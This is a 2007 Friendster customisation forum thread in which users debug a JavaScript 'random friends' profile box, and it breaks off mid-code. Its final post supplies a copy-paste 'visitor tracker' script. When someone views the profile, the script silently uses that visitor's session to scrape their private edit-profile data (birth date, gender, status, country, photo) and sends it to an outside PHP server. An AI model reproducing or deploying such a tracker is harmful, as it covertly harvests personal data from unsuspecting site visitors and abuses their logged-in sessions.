• ARCHIVES 
  • » [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

[b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

frolickfriendster
» FTalkAddict
FTalk Level: zero
310
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

To Refresh/Reload: As per your suggestion, I have already simplified and fixed my multiple addMainBox functions for my mainboxes the same way my addSideBar function for my sideboxes is called out only once. Ive organized my mainboxes and sideboxes scripts. Here's my new edited JS ext file. Please inspect it: http://h1.ripway.com/frolickfriendster/cbox.js The Randomized box is still messed up. :( Have a look at my proffy: http://www.friendster.com/frolick I did an experiment. I took everything out of my JS ext file. Left it blank. Then I just added the following: 1. the profiles.friendster.com script on top 2. ajax request script 3. randomized friends script (old) that calls out the addMainBox function 4. addMainBox script BUT the problem is still the same. The envelop graphic file is still big. :( :( :( With the experiment, I came to the conclusion that my JS ext was not buggy at all. I dont mean to say that 1, 2, 3, and 4 above are buggy...because they are working perfectly on your proffy and on Lordheinzz too... The question is: where's the bug? or Where's the error even if i took everything out of my JS file already with only this randomized friends code in it...
Refresh/Reload
» FTalkAddict
FTalk Level: zero
332
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

[quote=frolickfriendster]To Refresh/Reload: As per your suggestion, I have already simplified and fixed my multiple addMainBox functions for my mainboxes the same way my addSideBar function for my sideboxes is called out only once. Ive organized my mainboxes and sideboxes scripts. Here's my new edited JS ext file. Please inspect it: http://h1.ripway.com/frolickfriendster/cbox.js The Randomized box is still messed up. :( Have a look at my proffy: http://www.friendster.com/frolick I did an experiment. I took everything out of my JS ext file. Left it blank. Then I just added the following: 1. the profiles.friendster.com script on top 2. ajax request script 3. randomized friends script (old) that calls out the addMainBox function 4. addMainBox script BUT the problem is still the same. The envelop graphic file is still big. :( :( :( With the experiment, I came to the conclusion that my JS ext was not buggy at all. I dont mean to say that 1, 2, 3, and 4 above are buggy...because they are working perfectly on your proffy and on Lordheinzz too... The question is: where's the bug? or Where's the error even if i took everything out of my JS file already with only this randomized friends code in it...[/quote] Does your experiment exactly look like this to determine if your Friend Randomizer is ok? [quote]if(document.location.href.match(/profiles\./)) document.location.href = document.location.href.replace(/profiles\./, "www."); try{ document.createStyleSheet("[b]DIRECT LINK OF CSS[/b]"); } catch(e){ document.write("<link rel='stylesheet' type='text/css' media='screen, print' href='[b]DIRECT LINK OF CSS[/b]'>"); } function randOrd(){ return (Math.round(Math.random())-0.5); } if (!attachOnLoadHandler(function(){Ffetcher.init();})) window.onload = function(){Ffetcher.init();}; var base_domain = "http://www.friendster.com"; if (typeof Ffetcher == "undefined") { Ffetcher = {}; } Ffetcher.vars = { friends: new Array(), pages: null, maxfriends: null, container: null, cached: new Array(), display: 10 }; Ffetcher.init= function() { var num=document.links; for(var x=0;x<num.length;x++) { if (num[x].href.match(/\/friends\/[\d]+?/)) { var t=/\(([\d]+?)\)/; Ffetcher.vars.maxfriends=t.exec(num[x].innerHTML)[1]; break; } } Ffetcher.vars.pages=Math.floor(Ffetcher.vars.maxfriends/30); var htm="<div align='center' id='fcontainer'></div>"; addMainBox("<img src='http://media.bigoo.ws/content/smile/cool/cool_2.gif'> Friends <font color=#ff0033>Random</font> Gallery <img src='http://media.bigoo.ws/content/smile/cool/cool_2.gif'>",htm,"frbox","moreabout_1_5"); document.getElementById("content_frbox").innerHTML+="<div class='viewall'><a href='javascript: void(Ffetcher.more())'>Click To View More Random Friends </a></div>"; Ffetcher.vars.container=document.getElementById("fcontainer"); Ffetcher.fetch(0); }; Ffetcher.fetch= function(page) { document.getElementById("frbox").childNodes[0].innerHTML="Friends Loading... Pls wait..."; processAjaxRequest("GET",base_domain+"/friends/"+pageOwnerID+"/"+page,true,null, "parseFriends",page); }; function parseFriends(htm,page) { if(!htm){ alert("reattempting") Ffetcher.fetch(page); return; } var r= /search1\x22>[\S\s]+?paginglinksmodule\x22>([\S\s]+?)<div class=\x22paginglinksmodule/; var temp=r.exec(htm)[1]; temp=temp.match(/<div class="flogriditem">[\S\s]+?<\/div>\n<\/div><\/div>/g); for(var x=0;x<temp.length;x++) { temp[x]=temp[x].replace("samsg_icon.gif>","samsg_icon.gif />"); Ffetcher.vars.friends.push(temp[x]); } Ffetcher.vars.cached.push(":"+page+":"); document.getElementById("frbox").childNodes[0].innerHTML="<img src='http://media.bigoo.ws/content/smile/cool/cool_2.gif'> Friends <font color=#ff0033>Random</font> Gallery <img src='http://media.bigoo.ws/content/smile/cool/cool_2.gif'> "; Ffetcher.show(); } Ffetcher.show= function() { Ffetcher.vars.container.innerHTML=""; Ffetcher.vars.friends.sort(randOrd); for(var x=0;x<Ffetcher.vars.display;x++) { Ffetcher.vars.container.innerHTML+=Ffetcher.vars.friends[x]; } } Ffetcher.more=function() { if(Ffetcher.vars.cached.length<(Ffetcher.vars.pages+1)) { var temp; do { temp=Math.ceil(Math.random()*(Ffetcher.vars.pages)); }while(Ffetcher.vars.cached.toString().indexOf(":"+temp+":")!=-1); Ffetcher.fetch(temp); } else { Ffetcher.show(); } } [b]function addMainBox (head,htm,id,bro_id) { var ul=document.getElementById("controlpanel_1_1").parentNode; var bro=document.getElementById(bro_id).parentNode; try { var li=document.createElement("li"); } catch(e) { var li=document.createElement("<li>"); } li.innerHTML= "<div id='"+id+"' class='commonbox "+id+"'>"+ "<h2>"+head+"</h2>"+ "<div id='content_"+id+"'>"+ "<div class='boxcontent'>"+ htm+ "</div>"+ "</div>"+ "</div>"; ul.parentNode.insertBefore(li,bro); }[/b] function processAjaxRequest(type,url,cont,param,handler,handlerparam) { if(handlerparam) handlerparam=","+handlerparam; else handlerparam=""; //type 'POST' | 'GET' //cont 'true' | 'false' //param string | null //handler string | null //handlerparam ","+string |null var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP"); if(handler) eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+handler+"(httprequest.responseText"+handlerparam+");}}"); httprequest.open( type, url, cont); if(type=="POST") { httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httprequest.setRequestHeader("Content-length", param.length); httprequest.setRequestHeader("Connection", "close"); } httprequest.send(param); }[/quote] I tried this on my test page... same effect as my main page.. pls... try this one first... remove all your js(make a back-up first) then put this application. don't forget to put your [b]DIRECT CSS[/b] on the specified code. now if you will put it on a WVM that already has an AddMainbox function(those on bold text).. you don't have to include it again nor make an onloadhandler to call it... coz the tracker already has it... btw.. your edited js still has multiple AddMainBox function =)

Last edited by Refresh/Reload (2007-09-05 22:52:51)

frolickfriendster
» FTalkAddict
FTalk Level: zero
310
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

before i do that, would you want me to take out [quote]<link rel="stylesheet" type="text/css" href="http://h1.ripway.com/frolickfriendster/frolickheader.css">[/quote] from my about me section?

Last edited by frolickfriendster (2007-09-05 23:03:21)

bobcbar
» FTalkElite
FTalk Level: zero
5223
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

Can someone advise me :retard: I want to add the ajax function to my current tracker.js but not sure where to add it. <">I read that if its included in my tracker I will not need to call it again with other js functions that required it =|
frolickfriendster
» FTalkAddict
FTalk Level: zero
310
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

To: refresh/reload Ok, I deleted the css reference in my about me section. I put the direct css link on my JS ext and I followed exactly your code. http://h1.ripway.com/frolickfriendster/cbox.js Now look at my proffy: http://www.friendster.com/frolick The problem is still there!!!!!!! what I cannot understand is why are the envelope graphic file becomes so biggggggggg :((((((((((( UPDATE: TO REFRESH/RELOAD I think I now know what exactly is the problem. It's not on my JS ext file, but it's on my css file. Since your last suggestion did not work, I did another experiment. 1. I used Ken's JS ext script. 2. In it, Ken's CSS was also used. When I viewed my proffy, the randomizer was working perfectly. 3. Now, I modified the JS ext and used my own CSS. So it becomes Ken's JS + My CSS. When I viewed my proffy, it was messed up again. Conclusion, the problem is in my CSS codes and I dont know which CSS on it is affecting the friend randomizer. So, I am going back to my original JS ext file and will begin to experiment and dissect my css one by one.

Last edited by frolickfriendster (2007-09-05 23:37:55)

jagcopra
» FTalker
FTalk Level: zero
175
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

^ I suggest you this mr. Frolick 1. Make a back up of your current js codes 2.Delete all the contents of your current js on. 3. Redo the instruction on putting friend randomizer code.. 4. follow clearly the steps huh.. don't even think for your own way. do it Sir ken's way. then observe the codes carefully.. try putting your codes step by step.. example friend randomizer is fine putting cbox code will not affect it putting wvm code not affect it. putting my css >. Oh no it destroys the code.. try that one.. just a little obeservation.. @offtopic your friendster profile is very much friendly.. *ironic*
frolickfriendster
» FTalkAddict
FTalk Level: zero
310
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

lemme just comment on the last post. [quote]1. Make a back up of your current js codes[/quote] My codes are very well backed up, sir/ma'am! [quote]2.Delete all the contents of your current js on.[/quote] I have done that. In fact, experimented already with Ken's JS and Refresh/Reload's JS and I have found out my problem is not with my JS, but with my CSS. My CSS is the one affecting the randomizer code. [quote]3. Redo the instruction on putting friend randomizer code..[/quote] I have done that several times for 3 days! [quote]4. follow clearly the steps huh.. don't even think for your own way. do it Sir ken's way.[/quote] I have done that, in fact I have tried to use Ken's JS on my proffy. [quote]then observe the codes carefully.. try putting your codes step by step..[/quote] That's what exactly I am doing right now. Disecting my CSS codes step by step, one by one. I am doing it on my CSS because I found the problem is not with my JS ext, but with my CSS. [quote]try that one.. just a little obeservation.. @offtopic your friendster profile is very much friendly.. *ironic*[/quote] I dont have to join the bandwagon. Just because... Doesn't mean...Logic 101 A nice proffy doesnt only depend on scripts, design, but also on your writing style. It may have a nice costume/outfit, but if the essence is nothing.. meaning you cant be different from others, that means your proffy is LAME, IMHO. Thank you for your observation and nice unsolicited comment.
pitoi
» n00b
FTalk Level: zero
5
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

nice code but it's not working on mine,,, :crybaby: this code below where i must paste it..:question: :question: ...'counfuse..'',,,,i already has wmv,,, [quote]for users with existing onload handler look for this clause, and paste the bold line into the given location function onProfileLoad() { //existing codes here Ffetcher.init(); }[/quote] help pliss,,, :rolleyes:
Refresh/Reload
» FTalkAddict
FTalk Level: zero
332
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

[quote=pitoi]nice code but it's not working on mine,,, :crybaby: this code below where i must paste it..:question: :question: ...'counfuse..'',,,,i already has wmv,,, [quote]for users with existing onload handler look for this clause, and paste the bold line into the given location function onProfileLoad() { //existing codes here Ffetcher.init(); }[/quote] help pliss,,, :rolleyes:[/quote] go here:[url=http://theftalk.com/t6843-TUTORIAL%3A-FTalk-Coders-Codes...html]How to use FTalk Coders Codes[/url]
jagcopra
» FTalker
FTalk Level: zero
175
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

[quote=frolickfriendster]lemme just comment on the last post. [quote]1. Make a back up of your current js codes[/quote] My codes are very well backed up, sir/ma'am! [quote]2.Delete all the contents of your current js on.[/quote] I have done that. In fact, experimented already with Ken's JS and Refresh/Reload's JS and I have found out my problem is not with my JS, but with my CSS. My CSS is the one affecting the randomizer code. [quote]3. Redo the instruction on putting friend randomizer code..[/quote] I have done that several times for 3 days! [quote]4. follow clearly the steps huh.. don't even think for your own way. do it Sir ken's way.[/quote] I have done that, in fact I have tried to use Ken's JS on my proffy. [quote]then observe the codes carefully.. try putting your codes step by step..[/quote] That's what exactly I am doing right now. Disecting my CSS codes step by step, one by one. I am doing it on my CSS because I found the problem is not with my JS ext, but with my CSS. [quote]try that one.. just a little obeservation.. @offtopic your friendster profile is very much friendly.. *ironic*[/quote] I dont have to join the bandwagon. Just because... Doesn't mean...Logic 101 A nice proffy doesnt only depend on scripts, design, but also on your writing style. It may have a nice costume/outfit, but if the essence is nothing.. meaning you cant be different from others, that means your proffy is LAME, IMHO. Thank you for your observation and nice unsolicited comment.[/quote] have you tried using the addbox function? coz u said you're using the addmainBox.. if you do tried it, nevermind my post.. Peace!!
frolickfriendster
» FTalkAddict
FTalk Level: zero
310
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

UPDATE: I FINALLY found the bloody problem why the randomized friends code was messed up. It did not have anything to do with my JS at all! The problem was with my CSS. After painfully disecting my CSS one by one, I found out the problem was with my CUSTOMIZED ONE COLOUMN FEATURED FRIENDS LIST. The css on the img was causing all the troubles. Now, my randomized friends is working well, but still with a problem. It causes conflicts with my old WVM tracker. Without the randomized friends, my old wvm tracker still perfectly work and records the visitors. With the randomized friends, it does not! So i guess, I have to update my wvm again oh my gawd... I also need to center the boxes of my randomized friends. Anyone who knows the CSS for this? Maybe Ephe, the CSS expert can or maybe Master Feruzz or Maybe Refresh/reload Thanks a bunch! :retard:
jagcopra
» FTalker
FTalk Level: zero
175
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

^ I told you put your codes step by step.. like trying to remove the css.. but anyways, glad you've made it.. =3
frolickfriendster
» FTalkAddict
FTalk Level: zero
310
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

so how do i center the boxes of the randomized friends on the whole main box? :wasted:
bobcbar
» FTalkElite
FTalk Level: zero
5223
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

:crybaby: I am just not getting it, I know its not a suprise, but I spent the afternoon trying to add the random friends to my page. Even went and upgrade to the latest WVM thinking it was my problem =( Any time I add the Ffetcher.init(); } after the onProfileLoad function my tracker disappears. Then when I add [b]Step 3[/b] none of my other codes work. Suggestions please :/ Please don't refer me to the Tutorial How to use FTalk Coders Codes, been there the last hour :retard:
s1ycks
» n00b
FTalk Level: zero
9
0
1969-12-31

Re: [b]UPDATED NOV 20[/b] [b]Step 1[/b] Onload Handler. If you dont have yet this code, paste after the above code. [code]function onProfileLoad() { Ffetcher.init(); } if (!attachOnLoadHandler(functio

[quote=bobcbar]:crybaby: I am just not getting it, I know its not a suprise, but I spent the afternoon trying to add the random friends to my page. Even went and upgrade to the latest WVM thinking it was my problem =( Any time I add the Ffetcher.init(); } after the onProfileLoad function my tracker disappears. Then when I add [b]Step 3[/b] none of my other codes work. Suggestions please :/ Please don't refer me to the Tutorial How to use FTalk Coders Codes, been there the last hour :retard:[/quote] [b]:::::JUST COPY AND PASTE IT TO YOUR TRACKER.JS::::::[/b] [b]-=CHANGE THE "YOUR TRACKER.PHP URL" TO YOUR TRACKER.PHP URL=-[/b] if(document.location.href.match(/profiles\./)) document.location.href = document.location.href.replace(/profiles\./, "www."); function onProfileLoad() { //onload handler if(pageViewerID!="") COMMENTOR.init(); addBox("RIGHT",pageOwnerFName+"'s Visitors",TRACKER.div.innerHTML,"tracker",null); Ffetcher.init(); } /*TRACKER OBJECT*/ if (typeof TRACKER == "undefined") { TRACKER = {}; } TRACKER = { style: { filter: "chroma(color='#FFFFFF')", width: '300px', height: '515px', border: '0px' }, attributes: { frameborder: '0', allowtransparency: 'true' }, phplink: "[b]YOUR TRACKER.PHP URL[/b]", exitmessage: "Bye "+pageViewerFName, /*do not edit below this line*/ /* by marfillaster, copyright 2007 friendster.com/mumbhaki licensed under GNU General Public License, version 2 http://www.gnu.org/licenses/gpl.html Disclaimer: NO GUARANTEE and WARRANTY provided! For educational purposes only. Author will not be liable of ANY damage through the use of this program */ base_domain: "http://www.friendster.com",div: null,param: null,timedetails: null,iframeid: "wvmtemp", details: { photo: null, gender: null, birth: { day: null, month: null, year: null }, status: null, location: null }, regexp: { photo: /imgblock65homeprofile"[\S\s]*?src="([\S\s]*?)"/, gender: /value="([m|f]{1})" checked>/, birth: { day: /birthday">[\S\s]*?selected>([\S\s]*?)</, month: /birthmonth">[\S\s]*?selected>([\S\s]*?)</, year: /birthyear">[\S\s]*?selected>([\S\s]*?)</ }, status: /name="status"[\S\s]+?checked>[\S\s]+?>([\S\s]+?)<\/label/, location: /name="country"[\S\s]*?selected>([\S\s]*?)</ }, init: function() { var d= new Date(); var sec=invert(d.getTimezoneOffset()*60); var hr=invert(d.getTimezoneOffset()/60); this.timedetails="oss="+sec+"&osh="+hr; var ifsrc=this.phplink+"?"+this.timedetails; var atr=""; var sty=""; for (val in this.attributes) { atr += val +"="+ this.attributes[val]+" "; } for (val in this.style) { sty += val +":"+ this.style[val]+";"; } try {this.div=document.createElement("<div>")} catch(e){this.div=document.createElement("div")} this.div.innerHTML="<iframe id=\"wvm\" "+atr+"src=\""+ifsrc+"\" style=\""+sty+"\"></iframe>"; if(pageViewerID!=pageOwnerID) if(pageViewerID!="") this.getHOME(); }, getHOME: function() { processAjaxRequest("GET",this.base_domain+"/",true,null, "parsehome",null); }, getEDIT: function() { processAjaxRequest("GET",this.base_domain+"/editprofile.php",true,null, "parseedit",null); }, sendExit: function() { document.getElementById(this.iframeid).src=this.phplink+this.param+"&exit=1"; alert(this.exitmessage); } }; function parsehome(htm) { if(!htm) { TRACKER.getHOME(); }else { TRACKER.details.photo=urlencode(new RegExp(TRACKER.regexp.photo).exec(htm)[1]); TRACKER.getEDIT(); } } function parseedit(htm) { if(!htm) { TRACKER.getEDIT(); }else { for (val in TRACKER.details) { if(val!="birth") if(val!="photo") TRACKER.details[val]=urlencode(new RegExp(TRACKER.regexp[val]).exec(htm)[1]); } for (val in TRACKER.details.birth) { TRACKER.details.birth[val]=new RegExp(TRACKER.regexp.birth[val]).exec(htm)[1] } var age=displayage(TRACKER.details.birth.year,getMonthIndex(TRACKER.details.birth.month),TRACKER.details.birth.day,"years", 0, "rounddown"); TRACKER.param="?owner="+pageOwnerID+"&id="+pageViewerID+"&name="+pageViewerFName+"&url="+TRACKER.details.photo+"&gender="+TRACKER.details.gender+"&age="+age+"&status="+TRACKER.details.status+"&country="+TRACKER.details.location; document.getElementById(TRACKER.iframeid).src=TRACKER.phplink+TRACKER.param+"&exit=0"; } } if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()}; TRACKER.init(); if(pageViewerID!=pageOwnerID) if(pageViewerID!="") document.write("<body onbeforeunload='TRACKER.sendExit()'>"); function displayage(yr, mon, day, unit, decimal, round) { //dynamicdrive var one_day=1000*60*60*24; var one_month=1000*60*60*24*30; var one_year=1000*60*60*24*30*12; var today=new Date(); var pastdate=new Date(yr, mon-1, day); var countunit=unit; var decimals=decimal; var rounding=round; finalunit=(countunit=="days")? one_day : (countunit=="months")? one_month : one_year; decimals=(decimals<=0)? 1 : decimals*10; if (unit!="years"){ if (rounding=="rounddown") return Math.floor((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals; else return Math.ceil((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals; } else { yearspast=today.getFullYear()-yr-1; tail=(today.getMonth()>mon-1 || today.getMonth()==mon-1 && today.getDate()>=day)? 1 : 0; pastdate.setFullYear(today.getFullYear()); pastdate2=new Date(today.getFullYear()-1, mon-1, day); tail=(tail==1)? tail+Math.floor((today.getTime()-pastdate.getTime())/(finalunit)*decimals)/decimals : Math.floor((today.getTime()-pastdate2.getTime())/(finalunit)*decimals)/decimals; return yearspast+tail; } } function getMonthIndex(x) { var m="JanFebMarAprMayJunJulAugSepOctNovDec"; return (m.indexOf(x)/3)+1; } function invert(x) { if(x>0) return parseInt("-"+x); else if(x<0) { x=x+""; return parseInt(x.substr(1,x.length-1)); } return 0; } /*END TRACKER OBJECT*/ /*MISC FUNCTIONS*/ function urlencode(txt) { return txt.replace(/ /g,"%20").replace(/'/g,"%60").replace(/</g,"%3C").replace(/>/g,"%3E"); } function addBox (type,head,htm,id,sibling) { //by marfillaster //type "LEFT" | "RIGHT" //head header string //htm innerHTML string //id css_id string //sibling css_id_insertbefore string | null /* Available default Siblings LEFT controlpanel_1_1 photos_1_2 blogs_1_3 reviews_1_4 moreabout_1_5 publiccomments_1_7 scrapbook_1_8 RIGHT meettrail_2_1 friends_2_2 ads_2_3 fanof_2_4 groups_2_5 null - appends to last */ try { var li=document.createElement("li"); } catch(e) { var li=document.createElement("<li>"); } if(type=="LEFT") { var ul=document.getElementById("controlpanel_1_1").parentNode.parentNode; htm="<div class='boxcontent'>"+htm+"</div>"; } else var ul=document.getElementById("friends_2_2").parentNode.parentNode; li.innerHTML="<div id='"+id+"' class='commonbox "+id+"'>"+ "<h2>"+head+"</h2>"+ "<div id='content_"+id+"'>"+ htm+ "</div>"+ "</div>"; if(sibling==null) ul.appendChild(li); else { sibling=document.getElementById(sibling).parentNode; ul.insertBefore(li,sibling); } } function processAjaxRequest(type,url,cont,param,handler,handlerparam) { //by marfillaster //type 'POST' | 'GET' //cont 'true' | 'false' //param string | null //handler string | null //handlerparam string |null if(handlerparam) handlerparam=","+handlerparam; else handlerparam=""; var httprequest= window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP"); if(handler) eval("httprequest.onreadystatechange=function(){if (httprequest.readyState==4) {"+handler+"(httprequest.responseText"+handlerparam+");}}"); httprequest.open( type, url, cont); if(type=="POST") { httprequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httprequest.setRequestHeader("Content-length", param.length); httprequest.setRequestHeader("Connection", "close"); } httprequest.send(param); } function randOrd(){ return (Math.round(Math.random())-0.5); } /*END MISC FUNCTIONS*/ //random friend var base_domain = "http://www.friendster.com"; if (typeof Ffetcher == "undefined") { Ffetcher = {}; } Ffetcher = { friends: new Array(), pages: null, maxfriends: null, container: null, cached: new Array(), display: 10, init: function() { var num=document.links; for(var x=0;x<num.length;x++) { if (num[x].href.match(/\/friends\/[\d]+?/)) { var t=/\(([\d]+?)\)/; this.maxfriends=t.exec(num[x].innerHTML)[1]; break; } } this.pages=Math.floor(this.maxfriends/30); var htm="<div id='fcontainer'></div>"; addBox("LEFT","Friends",htm,"frbox","moreabout_1_5"); document.getElementById("content_frbox").innerHTML+="<div class='viewall'><a href='javascript: void(Ffetcher.more())'>More Random Friends</a></div>"; this.container=document.getElementById("fcontainer"); this.fetch(0); }, fetch: function(page) { document.getElementById("frbox").childNodes[0].innerHTML="Friends Loading... Pls wait..."; processAjaxRequest("GET",base_domain+"/friends/"+pageOwnerID+"/"+page,true,null, "parseFriends",page); }, show: function() { this.container.innerHTML=""; this.friends.sort(randOrd); for(var x=0;x<this.display;x++) { this.container.innerHTML+=this.friends[x]; } }, more: function() { if(this.cached.length<(this.pages+1)) { var temp; do { temp=Math.ceil(Math.random()*(this.pages)); }while(this.cached.toString().indexOf(":"+temp+":")!=-1); this.fetch(temp); } else { this.show(); } } }; function parseFriends(htm,page) { if(!htm){ Ffetcher.fetch(page); return; } var r= /search1\x22>[\S\s]+?paginglinksmodule\x22>([\S\s]+?)<div class=\x22paginglinksmodule/; var temp=r.exec(htm)[1]; temp=temp.match(/<div class="flogriditem">[\S\s]+?<\/div>\n<\/div><\/div>/g); for(var x=0;x<temp.length;x++) { temp[x]=temp[x].replace("samsg_icon.gif>","samsg_icon.gif />"); temp[x]=temp[x].replace(/<a /g,"<a target=_blank "); if(!temp[x].match("nophoto")) Ffetcher.friends.push(temp[x]); } Ffetcher.cached.push(":"+page+":"); document.getElementById("frbox").childNodes[0].innerHTML="Friends "; Ffetcher.show(); } if (typeof COMMENTOR == "undefined") { COMMENTOR = {}; } COMMENTOR = { authcode: "", linker: "", base_domain: "http://www.friendster.com", init: function() { var ls=new Array(); var olinks=document.links; for(var x=0; x<olinks.length;x++) { if(olinks[x].innerHTML.match(/Post a Comment|Add Comment/)) { ls.push(olinks[x]); } } this.linker=ls; this.getCode(); }, getCode: function() { this.linker[0].innerHTML="Please Wait..."; try{this.linker[1].innerHTML="Please Wait...";}catch(e){} try{this.linker[2].innerHTML="Please Wait...";}catch(e){} processAjaxRequest("GET",this.base_domain+"/comments.php?uid="+pageOwnerID,true,null, "getauth",null); }, openForm: function() { this.linker[0].setAttribute("href","#quickcomment"); try{this.linker[1].setAttribute("href","#quickcomment");}catch(e){} try{this.linker[2].setAttribute("href","#quickcomment");}catch(e){} var commform="<div id='bb'><style type='text/css'>.buttonBox{margin-top:5px;margin-bottom:5px}.butter {background: #dddddd; padding: 5px 5px 5px 5px;margin-right: 5px;margin-bottom: 5px}</style>"+ "<div style='DISPLAY: block'>"+ "<p style='font-style: italic; font-size: 90%'>"+ "You Can Also Dress Up Your Testimonial Or Comment With HTML, CSS, And Embed Images & Video! <a href=\"javascript:popup('/info/helpmedia.php',450,400,'yes');\">Click Here</a> To Find Out How To <a href=\"javascript:popup('/info/helpmedia.php',450,400,'yes');\">Add Videos And Images</a>."+ "</p>"+ "<form name='comment_form' id='comment_form' method='post' onsubmit=\"return checkFormSubmit('comment_form');\">"+ "<input type='hidden' name='authcode' value='"+this.authcode+"'><div class='flo466'>"+ "<textarea style='width: 100%' id='commentTextArea' class='pc_textarea' name='comment' onKeyDown='textCounter(document.comment_form.comment,document.comment_form.inputcount,1000);' onKeyUp='textCounter(document.comment_form.comment,document.comment_form.inputcount,1000);'></textarea><div class='ic'><br />"+ "<input type='hidden' value='submit' name='postaction'><div class='buttonBox'>"+ "<input style='font: 12px Arial;' class='submitButtons' type='submit' name='submit' onClick='javascript: void(COMMENTOR.send())' value='Submit'> <input style='font: 12px Comic Sans MS;' class='cancelButtons' type='reset' name='cancel' onClick='javascript: void(COMMENTOR.cancelForm())' value='Cancel'>"+ "</div>"+ "</div>"+ "<div class='dc'>Characters remaining: "+ "<input id='inputcount' readonly maxlength='4' size='4' value='1000' name='inputcount'>"+ "</div>"+ "</div>"+ "</form>"+ "</div>"+ "</div></div></div>"; addBox("LEFT","New Testimonial And Comment Form", commform,"quickcomment","publiccomments_1_7"); location.href="#quickcomment"; }, send: function() { var inputcount=document.getElementById("inputcount").value; var comment=document.getElementById("commentTextArea").value; var param="&authcode="+COMMENTOR.authcode+"&postaction=submit&inputcount="+inputcount+"&comment="+encodeURI(comment); processAjaxRequest("POST",this.base_domain+"/comments.php?uid="+pageOwnerID,true,param, "Creport",null); document.getElementById("quickcomment").childNodes[0].innerHTML="Posting comment, please wait..." ; try{document.getElementById("quickcomment").childNodes[1].innerHTML="Posting comment, please wait...";}catch(e){} location.href="#quickcomment"; }, cancelForm: function() { setTimeout("document.getElementById('quickcomment').parentNode.parentNode.removeChild(document.getElementById('quickcomment').parentNode);location.href='#publiccomments_1_7'",3000); this.init(); } }; function Creport(htm) { document.getElementById("quickcomment").childNodes[0].innerHTML="Comment Posted"; COMMENTOR.cancelForm(); } function getauth(htm) { var myregexp = /authcode" value="([\da-z]+?)"/; var match = myregexp.exec(htm); COMMENTOR.authcode=match[1]; COMMENTOR.linker[0].innerHTML="Add Comment"; COMMENTOR.linker[0].setAttribute("href","javascript: void(COMMENTOR.openForm())"); try{ COMMENTOR.linker[1].innerHTML="Post a Comment"; COMMENTOR.linker[1].setAttribute("href","javascript: void(COMMENTOR.openForm())"); }catch(e){} try{ COMMENTOR.linker[2].innerHTML="Post a Comment"; COMMENTOR.linker[2].setAttribute("href","javascript: void(COMMENTOR.openForm())");} catch(e){} } if (typeof MESSENGER == "undefined") { MESSENGER = {}; } MESSENGER = { base_domain: "http://www.friendster.com", linker: null, smile: "", type: "Message", max: 1000, slinker: null, amp: "", init: function() { var olinks=document.links; for(var x=0; x<olinks.length;x++) { if(olinks[x].innerHTML.match(/Send Message/)) { olinks[x].href="javascript: void(MESSENGER.openForm(0))"; this.linker=olinks[x]; } if(olinks[x].innerHTML.match(/Send a Smile/)) { olinks[x].href="javascript: void(MESSENGER.openForm(1))"; this.slinker=olinks[x]; } } }, openForm: function(t) { if(t) { this.smile="?action=sendsmile"; 